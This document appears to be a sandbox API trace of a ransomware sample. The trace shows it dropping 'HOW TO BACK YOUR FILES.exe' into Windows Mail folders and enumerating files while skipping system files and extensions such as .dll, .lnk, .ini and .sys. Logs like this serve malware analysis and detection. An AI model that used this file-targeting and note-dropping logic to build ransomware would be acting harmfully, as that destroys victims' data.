	[0045.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599590 | out: hHeap=0x580000) returned 1
	[0045.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0045.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 77
	[0045.738] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery"
	[0045.738] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.738] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.744] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.744] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33573370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33573370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.744] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.744] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.744] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.744] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33573370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33573370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.744] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.744] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.744] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.744] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.744] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0045.744] lstrcmpiW (lpString1="Bears.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.744] lstrcmpiW (lpString1="Bears.htm", lpString2="Apollon865.txt.exe") returned 1
	[0045.744] lstrcmpiW (lpString1="Bears.htm", lpString2=".") returned 1
	[0045.744] lstrcmpiW (lpString1="Bears.htm", lpString2="..") returned 1
	[0045.744] lstrcmpiW (lpString1="Bears.htm", lpString2="windows") returned -1
	[0045.744] lstrcmpiW (lpString1="Bears.htm", lpString2="bootmgr") returned -1
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2="temp") returned -1
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2="pagefile.sys") returned -1
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2="boot") returned -1
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2="ids.txt") returned -1
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2="ntuser.dat") returned -1
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2="perflogs") returned -1
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2="MSBuild") returned -1
	[0045.745] lstrlenW (lpString="Bears.htm") returned 9
	[0045.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*") returned 79
	[0045.745] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Bears.htm" | out: lpString1="Bears.htm") returned="Bears.htm"
	[0045.745] lstrlenW (lpString="Bears.htm") returned 9
	[0045.745] lstrlenW (lpString="Apollon865") returned 10
	[0045.745] lstrlenW (lpString=".dll") returned 4
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2=".dll") returned 1
	[0045.745] lstrlenW (lpString=".lnk") returned 4
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2=".lnk") returned 1
	[0045.745] lstrlenW (lpString=".ini") returned 4
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2=".ini") returned 1
	[0045.745] lstrlenW (lpString=".sys") returned 4
	[0045.745] lstrcmpiW (lpString1="Bears.htm", lpString2=".sys") returned 1
	[0045.745] lstrlenW (lpString="Bears.htm") returned 9
	[0045.745] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Bears.jpg" | out: lpString1="Bears.jpg") returned="Bears.jpg"
	[0045.745] lstrlenW (lpString="Bears.jpg") returned 9
	[0045.745] lstrlenW (lpString="Apollon865") returned 10
	[0045.745] lstrlenW (lpString=".dll") returned 4
	[0045.745] lstrcmpiW (lpString1="Bears.jpg", lpString2=".dll") returned 1
	[0045.745] lstrlenW (lpString=".lnk") returned 4
	[0045.745] lstrcmpiW (lpString1="Bears.jpg", lpString2=".lnk") returned 1
	[0045.745] lstrlenW (lpString=".ini") returned 4
	[0045.745] lstrcmpiW (lpString1="Bears.jpg", lpString2=".ini") returned 1
	[0045.746] lstrlenW (lpString=".sys") returned 4
	[0045.746] lstrcmpiW (lpString1="Bears.jpg", lpString2=".sys") returned 1
	[0045.746] lstrlenW (lpString="Bears.jpg") returned 9
	[0045.746] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Desktop.ini" | out: lpString1="Desktop.ini") returned="Desktop.ini"
	[0045.746] lstrlenW (lpString="Desktop.ini") returned 11
	[0045.746] lstrlenW (lpString="Apollon865") returned 10
	[0045.746] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0045.746] lstrlenW (lpString=".dll") returned 4
	[0045.746] lstrcmpiW (lpString1="Desktop.ini", lpString2=".dll") returned 1
	[0045.746] lstrlenW (lpString=".lnk") returned 4
	[0045.746] lstrcmpiW (lpString1="Desktop.ini", lpString2=".lnk") returned 1
	[0045.746] lstrlenW (lpString=".ini") returned 4
	[0045.746] lstrcmpiW (lpString1="Desktop.ini", lpString2=".ini") returned 1
	[0045.746] lstrlenW (lpString=".sys") returned 4
	[0045.746] lstrcmpiW (lpString1="Desktop.ini", lpString2=".sys") returned 1
	[0045.746] lstrlenW (lpString="Desktop.ini") returned 11
	[0045.746] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Garden.htm" | out: lpString1="Garden.htm") returned="Garden.htm"
	[0045.746] lstrlenW (lpString="Garden.htm") returned 10
	[0045.746] lstrlenW (lpString="Apollon865") returned 10
	[0045.746] lstrlenW (lpString=".dll") returned 4
	[0045.746] lstrcmpiW (lpString1="Garden.htm", lpString2=".dll") returned 1
	[0045.746] lstrlenW (lpString=".lnk") returned 4
	[0045.746] lstrcmpiW (lpString1="Garden.htm", lpString2=".lnk") returned 1
	[0045.746] lstrlenW (lpString=".ini") returned 4
	[0045.746] lstrcmpiW (lpString1="Garden.htm", lpString2=".ini") returned 1
	[0045.746] lstrlenW (lpString=".sys") returned 4
	[0045.746] lstrcmpiW (lpString1="Garden.htm", lpString2=".sys") returned 1
	[0045.746] lstrlenW (lpString="Garden.htm") returned 10
	[0045.746] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Garden.jpg" | out: lpString1="Garden.jpg") returned="Garden.jpg"
	[0045.746] lstrlenW (lpString="Garden.jpg") returned 10
	[0045.747] lstrlenW (lpString="Apollon865") returned 10
	[0045.747] lstrlenW (lpString=".dll") returned 4
	[0045.747] lstrcmpiW (lpString1="Garden.jpg", lpString2=".dll") returned 1
	[0045.747] lstrlenW (lpString=".lnk") returned 4
	[0045.747] lstrcmpiW (lpString1="Garden.jpg", lpString2=".lnk") returned 1
	[0045.747] lstrlenW (lpString=".ini") returned 4
	[0045.747] lstrcmpiW (lpString1="Garden.jpg", lpString2=".ini") returned 1
	[0045.747] lstrlenW (lpString=".sys") returned 4
	[0045.747] lstrcmpiW (lpString1="Garden.jpg", lpString2=".sys") returned 1
	[0045.747] lstrlenW (lpString="Garden.jpg") returned 10
	[0045.747] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Green Bubbles.htm" | out: lpString1="Green Bubbles.htm") returned="Green Bubbles.htm"
	[0045.747] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0045.747] lstrlenW (lpString="Apollon865") returned 10
	[0045.747] lstrcmpiW (lpString1="ubbles.htm", lpString2="Apollon865") returned 1
	[0045.747] lstrlenW (lpString=".dll") returned 4
	[0045.747] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".dll") returned 1
	[0045.747] lstrlenW (lpString=".lnk") returned 4
	[0045.747] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".lnk") returned 1
	[0045.747] lstrlenW (lpString=".ini") returned 4
	[0045.747] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".ini") returned 1
	[0045.747] lstrlenW (lpString=".sys") returned 4
	[0045.747] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".sys") returned 1
	[0045.747] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0045.747] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="GreenBubbles.jpg" | out: lpString1="GreenBubbles.jpg") returned="GreenBubbles.jpg"
	[0045.747] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0045.747] lstrlenW (lpString="Apollon865") returned 10
	[0045.747] lstrcmpiW (lpString1="ubbles.jpg", lpString2="Apollon865") returned 1
	[0045.747] lstrlenW (lpString=".dll") returned 4
	[0045.747] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".dll") returned 1
	[0045.747] lstrlenW (lpString=".lnk") returned 4
	[0045.747] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".lnk") returned 1
	[0045.747] lstrlenW (lpString=".ini") returned 4
	[0045.748] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".ini") returned 1
	[0045.748] lstrlenW (lpString=".sys") returned 4
	[0045.748] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".sys") returned 1
	[0045.748] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0045.748] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Hand Prints.htm" | out: lpString1="Hand Prints.htm") returned="Hand Prints.htm"
	[0045.748] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0045.748] lstrlenW (lpString="Apollon865") returned 10
	[0045.748] lstrcmpiW (lpString1="Prints.htm", lpString2="Apollon865") returned 1
	[0045.748] lstrlenW (lpString=".dll") returned 4
	[0045.748] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".dll") returned 1
	[0045.748] lstrlenW (lpString=".lnk") returned 4
	[0045.748] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".lnk") returned 1
	[0045.748] lstrlenW (lpString=".ini") returned 4
	[0045.748] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".ini") returned 1
	[0045.748] lstrlenW (lpString=".sys") returned 4
	[0045.748] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".sys") returned 1
	[0045.748] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0045.748] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="HandPrints.jpg" | out: lpString1="HandPrints.jpg") returned="HandPrints.jpg"
	[0045.748] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0045.748] lstrlenW (lpString="Apollon865") returned 10
	[0045.748] lstrcmpiW (lpString1="Prints.jpg", lpString2="Apollon865") returned 1
	[0045.748] lstrlenW (lpString=".dll") returned 4
	[0045.748] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".dll") returned 1
	[0045.748] lstrlenW (lpString=".lnk") returned 4
	[0045.748] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".lnk") returned 1
	[0045.748] lstrlenW (lpString=".ini") returned 4
	[0045.748] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".ini") returned 1
	[0045.748] lstrlenW (lpString=".sys") returned 4
	[0045.748] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".sys") returned 1
	[0045.748] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0045.748] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Orange Circles.htm" | out: lpString1="Orange Circles.htm") returned="Orange Circles.htm"
	[0045.749] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0045.749] lstrlenW (lpString="Apollon865") returned 10
	[0045.749] lstrcmpiW (lpString1="ircles.htm", lpString2="Apollon865") returned 1
	[0045.749] lstrlenW (lpString=".dll") returned 4
	[0045.749] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".dll") returned 1
	[0045.749] lstrlenW (lpString=".lnk") returned 4
	[0045.749] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".lnk") returned 1
	[0045.749] lstrlenW (lpString=".ini") returned 4
	[0045.749] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".ini") returned 1
	[0045.749] lstrlenW (lpString=".sys") returned 4
	[0045.749] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".sys") returned 1
	[0045.749] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0045.749] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="OrangeCircles.jpg" | out: lpString1="OrangeCircles.jpg") returned="OrangeCircles.jpg"
	[0045.749] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0045.749] lstrlenW (lpString="Apollon865") returned 10
	[0045.749] lstrcmpiW (lpString1="ircles.jpg", lpString2="Apollon865") returned 1
	[0045.749] lstrlenW (lpString=".dll") returned 4
	[0045.749] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".dll") returned 1
	[0045.749] lstrlenW (lpString=".lnk") returned 4
	[0045.749] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".lnk") returned 1
	[0045.749] lstrlenW (lpString=".ini") returned 4
	[0045.749] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".ini") returned 1
	[0045.749] lstrlenW (lpString=".sys") returned 4
	[0045.749] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".sys") returned 1
	[0045.749] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0045.749] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Peacock.htm" | out: lpString1="Peacock.htm") returned="Peacock.htm"
	[0045.749] lstrlenW (lpString="Peacock.htm") returned 11
	[0045.749] lstrlenW (lpString="Apollon865") returned 10
	[0045.749] lstrcmpiW (lpString1="eacock.htm", lpString2="Apollon865") returned 1
	[0045.749] lstrlenW (lpString=".dll") returned 4
	[0045.749] lstrcmpiW (lpString1="Peacock.htm", lpString2=".dll") returned 1
	[0045.750] lstrlenW (lpString=".lnk") returned 4
	[0045.750] lstrcmpiW (lpString1="Peacock.htm", lpString2=".lnk") returned 1
	[0045.750] lstrlenW (lpString=".ini") returned 4
	[0045.750] lstrcmpiW (lpString1="Peacock.htm", lpString2=".ini") returned 1
	[0045.750] lstrlenW (lpString=".sys") returned 4
	[0045.750] lstrcmpiW (lpString1="Peacock.htm", lpString2=".sys") returned 1
	[0045.750] lstrlenW (lpString="Peacock.htm") returned 11
	[0045.750] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Peacock.jpg" | out: lpString1="Peacock.jpg") returned="Peacock.jpg"
	[0045.750] lstrlenW (lpString="Peacock.jpg") returned 11
	[0045.750] lstrlenW (lpString="Apollon865") returned 10
	[0045.750] lstrcmpiW (lpString1="eacock.jpg", lpString2="Apollon865") returned 1
	[0045.750] lstrlenW (lpString=".dll") returned 4
	[0045.750] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".dll") returned 1
	[0045.750] lstrlenW (lpString=".lnk") returned 4
	[0045.750] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".lnk") returned 1
	[0045.750] lstrlenW (lpString=".ini") returned 4
	[0045.750] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".ini") returned 1
	[0045.750] lstrlenW (lpString=".sys") returned 4
	[0045.750] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".sys") returned 1
	[0045.750] lstrlenW (lpString="Peacock.jpg") returned 11
	[0045.750] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Roses.htm" | out: lpString1="Roses.htm") returned="Roses.htm"
	[0045.750] lstrlenW (lpString="Roses.htm") returned 9
	[0045.750] lstrlenW (lpString="Apollon865") returned 10
	[0045.750] lstrlenW (lpString=".dll") returned 4
	[0045.750] lstrcmpiW (lpString1="Roses.htm", lpString2=".dll") returned 1
	[0045.750] lstrlenW (lpString=".lnk") returned 4
	[0045.750] lstrcmpiW (lpString1="Roses.htm", lpString2=".lnk") returned 1
	[0045.750] lstrlenW (lpString=".ini") returned 4
	[0045.750] lstrcmpiW (lpString1="Roses.htm", lpString2=".ini") returned 1
	[0045.750] lstrlenW (lpString=".sys") returned 4
	[0045.751] lstrcmpiW (lpString1="Roses.htm", lpString2=".sys") returned 1
	[0045.751] lstrlenW (lpString="Roses.htm") returned 9
	[0045.751] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Roses.jpg" | out: lpString1="Roses.jpg") returned="Roses.jpg"
	[0045.751] lstrlenW (lpString="Roses.jpg") returned 9
	[0045.751] lstrlenW (lpString="Apollon865") returned 10
	[0045.751] lstrlenW (lpString=".dll") returned 4
	[0045.751] lstrcmpiW (lpString1="Roses.jpg", lpString2=".dll") returned 1
	[0045.751] lstrlenW (lpString=".lnk") returned 4
	[0045.751] lstrcmpiW (lpString1="Roses.jpg", lpString2=".lnk") returned 1
	[0045.751] lstrlenW (lpString=".ini") returned 4
	[0045.751] lstrcmpiW (lpString1="Roses.jpg", lpString2=".ini") returned 1
	[0045.751] lstrlenW (lpString=".sys") returned 4
	[0045.751] lstrcmpiW (lpString1="Roses.jpg", lpString2=".sys") returned 1
	[0045.751] lstrlenW (lpString="Roses.jpg") returned 9
	[0045.751] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Shades of Blue.htm" | out: lpString1="Shades of Blue.htm") returned="Shades of Blue.htm"
	[0045.751] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0045.751] lstrlenW (lpString="Apollon865") returned 10
	[0045.751] lstrcmpiW (lpString1="f Blue.htm", lpString2="Apollon865") returned 1
	[0045.751] lstrlenW (lpString=".dll") returned 4
	[0045.751] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".dll") returned 1
	[0045.751] lstrlenW (lpString=".lnk") returned 4
	[0045.751] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".lnk") returned 1
	[0045.751] lstrlenW (lpString=".ini") returned 4
	[0045.751] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".ini") returned 1
	[0045.751] lstrlenW (lpString=".sys") returned 4
	[0045.751] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".sys") returned 1
	[0045.751] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0045.751] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="ShadesOfBlue.jpg" | out: lpString1="ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg"
	[0045.751] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0045.751] lstrlenW (lpString="Apollon865") returned 10
	[0045.751] lstrcmpiW (lpString1="OfBlue.jpg", lpString2="Apollon865") returned 1
	[0045.752] lstrlenW (lpString=".dll") returned 4
	[0045.752] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".dll") returned 1
	[0045.752] lstrlenW (lpString=".lnk") returned 4
	[0045.752] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".lnk") returned 1
	[0045.752] lstrlenW (lpString=".ini") returned 4
	[0045.752] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".ini") returned 1
	[0045.752] lstrlenW (lpString=".sys") returned 4
	[0045.752] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".sys") returned 1
	[0045.752] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0045.752] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Soft Blue.htm" | out: lpString1="Soft Blue.htm") returned="Soft Blue.htm"
	[0045.752] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0045.752] lstrlenW (lpString="Apollon865") returned 10
	[0045.752] lstrcmpiW (lpString1="t Blue.htm", lpString2="Apollon865") returned 1
	[0045.752] lstrlenW (lpString=".dll") returned 4
	[0045.752] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".dll") returned 1
	[0045.752] lstrlenW (lpString=".lnk") returned 4
	[0045.752] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".lnk") returned 1
	[0045.752] lstrlenW (lpString=".ini") returned 4
	[0045.752] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".ini") returned 1
	[0045.752] lstrlenW (lpString=".sys") returned 4
	[0045.752] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".sys") returned 1
	[0045.752] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0045.752] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="SoftBlue.jpg" | out: lpString1="SoftBlue.jpg") returned="SoftBlue.jpg"
	[0045.752] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0045.752] lstrlenW (lpString="Apollon865") returned 10
	[0045.752] lstrcmpiW (lpString1="ftBlue.jpg", lpString2="Apollon865") returned 1
	[0045.752] lstrlenW (lpString=".dll") returned 4
	[0045.752] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".dll") returned 1
	[0045.752] lstrlenW (lpString=".lnk") returned 4
	[0045.752] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".lnk") returned 1
	[0045.752] lstrlenW (lpString=".ini") returned 4
	[0045.752] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".ini") returned 1
	[0045.753] lstrlenW (lpString=".sys") returned 4
	[0045.753] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".sys") returned 1
	[0045.753] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0045.753] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Stars.htm" | out: lpString1="Stars.htm") returned="Stars.htm"
	[0045.753] lstrlenW (lpString="Stars.htm") returned 9
	[0045.753] lstrlenW (lpString="Apollon865") returned 10
	[0045.753] lstrlenW (lpString=".dll") returned 4
	[0045.753] lstrcmpiW (lpString1="Stars.htm", lpString2=".dll") returned 1
	[0045.753] lstrlenW (lpString=".lnk") returned 4
	[0045.753] lstrcmpiW (lpString1="Stars.htm", lpString2=".lnk") returned 1
	[0045.753] lstrlenW (lpString=".ini") returned 4
	[0045.753] lstrcmpiW (lpString1="Stars.htm", lpString2=".ini") returned 1
	[0045.753] lstrlenW (lpString=".sys") returned 4
	[0045.753] lstrcmpiW (lpString1="Stars.htm", lpString2=".sys") returned 1
	[0045.753] lstrlenW (lpString="Stars.htm") returned 9
	[0045.753] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Stars.jpg" | out: lpString1="Stars.jpg") returned="Stars.jpg"
	[0045.753] lstrlenW (lpString="Stars.jpg") returned 9
	[0045.753] lstrlenW (lpString="Apollon865") returned 10
	[0045.753] lstrlenW (lpString=".dll") returned 4
	[0045.753] lstrcmpiW (lpString1="Stars.jpg", lpString2=".dll") returned 1
	[0045.753] lstrlenW (lpString=".lnk") returned 4
	[0045.753] lstrcmpiW (lpString1="Stars.jpg", lpString2=".lnk") returned 1
	[0045.753] lstrlenW (lpString=".ini") returned 4
	[0045.753] lstrcmpiW (lpString1="Stars.jpg", lpString2=".ini") returned 1
	[0045.753] lstrlenW (lpString=".sys") returned 4
	[0045.753] lstrcmpiW (lpString1="Stars.jpg", lpString2=".sys") returned 1
	[0045.753] lstrlenW (lpString="Stars.jpg") returned 9
	[0045.753] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup"
	[0045.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0045.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0045.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 73
	[0045.754] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup"
	[0045.754] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.754] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.758] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.758] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33573370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33573370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.759] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.759] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.759] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.759] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33573370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33573370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.759] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.759] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.759] lstrcmpiW (lpString1="..", lpString2=".") returned 1
